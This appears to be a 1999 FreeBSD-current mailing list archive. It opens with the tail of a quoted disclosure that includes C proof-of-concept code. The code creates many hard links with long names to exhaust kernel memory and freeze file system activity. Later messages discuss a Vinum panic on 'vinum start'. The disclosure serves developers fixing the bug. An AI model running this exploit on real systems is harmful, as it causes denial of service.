> kernel memory (according to `top'), before all file system activity
> came to a screeching halt and the machine was unusable.
> 
> This exploit does not affect Linux 2.0.36, or any version of NetBSD.
> I have not tested Linux versions >=2.1 (which have a different
> implementation of the equivalent code from 2.0.36), but based on code
> inspection, I do not believe it to be vulnerable to this particular
> attack.
> 
> Note that, although it may seem like setting quotas is a good solution
> to this problem, if the FreeBSD system is acting as a NFS client, it's
> possible to use a variant of the attack that only creates one file and
> keeps at most one link to it at any given time.
> 
> Also note that it may be possible to exercise this against a FTP
> server with a writable directory if the server has a way of creating
> hard links.  (I'm not aware of any that do, but I point this out for
> completeness.)
> 
> -8<-snip-8<-snip-8<-snip-8<-snip-8<-
> #include 
> #include 
> #include 
> 
> #define NFILE 64
> #define NLINK 3
> #define NCHAR 245
> 
> int
> main()
> {
> char junk[NCHAR+1],
>  dir[2+1+2+1], file1[2+1+2+1+NCHAR+3+1], file2[2+1+2+1+NCHAR+3+1];
> int i, j;
> struct stat sb;
> 
> memset(junk, 'x', NCHAR);
> junk[NCHAR] = '\0';
> for (i = 0; i < NFILE; i++) {
> printf("\r%02d/%05d...", i, 0),
> fflush(stdout);
> sprintf(dir, "%02d-%02d", i, 0);
> if (mkdir(dir, 0755) < 0)
> fprintf(stderr, "mkdir(%s) failed\n", dir),
> exit(1);
> sprintf(file1, "%s/%s%03d", dir, junk, 0);
> if (creat(file1, 0644) < 0)
> fprintf(stderr, "creat(%s) failed\n", file1),
> exit(1);
> if (stat(file1, &sb) < 0)
> fprintf(stderr, "stat(%s) failed\n", file1),
> exit(1);
> for (j = 1; j < NLINK; j++) {
> if ((j % 1000) == 0) {
> printf("\r%02d/%05d...", i, j),
> fflush(stdout);
> sprintf(dir, "%02d-%02d", i, j/1000);
> if (mkdir(dir, 0755) < 0)
> fprintf(stderr, "mkdir(%s) failed\n", dir),
> exit(1);
> }
> sprintf(file2, "%s/%s%03d", dir, junk, j%1000);
> if (link(file1, file2) < 0)
> fprintf(stderr, "link(%s,%s) failed\n", file1, file2),
> exit(1);
> if (stat(file2, &sb) < 0)
> fprintf(stderr, "stat(%s) failed\n", file2),
> exit(1);
> }
> }
> printf("\rfinished successfully\n");
> }
> -8<-snip-8<-snip-8<-snip-8<-snip-8<-
> 
> 
> 
> To Unsubscribe: send mail to [EMAIL PROTECTED]
> with "unsubscribe freebsd-current" in the body of the message
> 



To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: System crash on "vinum start"

[Jeffrey J. Mountin]

At 08:41 AM 9/28/99 +0930, Greg Lehey wrote:
>It has changed (again).

And the preferred method is...
a) /dev/da0
b) /dev/da0s1
c) /dev/da0s1e
(-current and -stable I hope :)

>> Not to surprising that it paniced with what appeared to be a
>> "dedicated" disk (ie da0e).
>
>It's surprising.  Good software shouldn't panic.  But this input is
>valuable, because now I know where to look.

Should have spoken up quite a while back.  Figured it was pilot error and
the panic was a self-inflicted gunshot wound.

>I think you're misinterpreting what Brad was saying.  He was issuing
>the same command, once during boot and once later.  I've had a number
>of reports of this problem, but this is the first one that helps me
>find the bug.

Interpreted as an either/or.  Vinum read followed by a vinum read (or start)?

>It's all in the pipeline.  But first we need Vinum on the root file
>system.

How is this coming along, been quite a while since anything has discussed
(-current/-stable/-cvs).  Last thing was back in July.


Jeff Mountin - [EMAIL PROTECTED]
Systems/Network Administrator
FreeBSD - the power to serve
'86 Yamaha MaxiumX (not FBSD powered)



To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: System crash on "vinum start"

[Greg Lehey]

On Tuesday, 28 September 1999 at  0:36:40 -0500, Jeffrey J. Mountin wrote:
> At 08:41 AM 9/28/99 +0930, Greg Lehey wrote:
>> It has changed (again).
>
> And the preferred method is...
> a) /dev/da0
> b) /dev/da0s1
> c) /dev/da0s1e
> (-current and -stable I hope :)

(b) or (c).  (a) isn't a slice.  Note that it won't take slice c,
either.

>>> Not to surprising that it paniced with what appeared to be a
>>> "dedicated" disk (ie da0e).
>>
>> It's surprising.  Good software shouldn't panic.  But this input is
>> valuable, because now I know where to look.
>
> Should have spoken up quite a while back.  Figured it was pilot error and
> the panic was a self-inflicted gunshot wound.

Read http://www.lemis.com/vinum/how-to-debug.html.  It's also in
vinum(4).

>> I think you're misinterpreting what Brad was saying.  He was issuing
>> the same command, once during boot and once later.  I've had a number
>> of reports of this problem, but this is the first one that helps me
>> find the bug.
>
> Interpreted as an either/or.  Vinum read followed by a vinum read (or start)?

You don't want to use vinum read.  Just vinum start.  And I've found
the bug (thanks, Brad).  I'll be committing a fix Real Soon Now.

>> It's all in the pipeline.  But first we need Vinum on the root file
>> system.
>
> How is this coming along, been quite a while since anything has discussed
> (-current/-stable/-cvs).  Last thing was back in July.

It's still in the pipeline.  I can't give any time frame.  There are
some bugs I need to look at (http://www.lemis.com/vinum/bugs.html),
and then I can start thinking about it.

Greg
--
See complete headers for address, home page and phone numbers
finger [EMAIL PROTECTED] for PGP public key


To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: System crash on "vinum start"

[Rodney W. Grimes]

> On Tue, Sep 28, 1999 at 09:11:31AM +1000, Greg Lehey wrote:
> >  Good software shouldn't panic.
> I wish _I_ could convince some people of this :-(.
> 
> > > Most certainly is.  Could use the functionality to add to a plex's size for
> > > striped or RAID5, but a bit of planning cures that.  8-)
> > 
> > It's all in the pipeline.  But first we need Vinum on the root file
> > system.
> And whilst we're discussing wish-lists...  After several fights with
> Digital/Compaq's Logical Storage Manager, it would be _very_ nice if
> recovery could be done at the physical disk level (ie, "I've just
> replaced da3 - autorecover all vinum volumes that used that disk"),
> rather than having to recover each logical volume.  It would also be
> nice if you could recover mirrored root/swap without needing to
> unmirror and re-mirror them.

Hummm.. this may seem like a really stange question, but I'll throw
it out anyway:

Would $9,000 paid to a developer here with immediate time avaliable
bring FreeBSD 3.x to a state of being able to replace our current use
of hardware raid to do Raid-1 mirroring with hot swap automagic
rebuild capabilities?  (It would need to be production quality code
for very serious business, and completed in 3 weeks time.)

Serious responses only please.

-- 
Rod Grimes - KD7CAX - (RWG25)[EMAIL PROTECTED]


To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message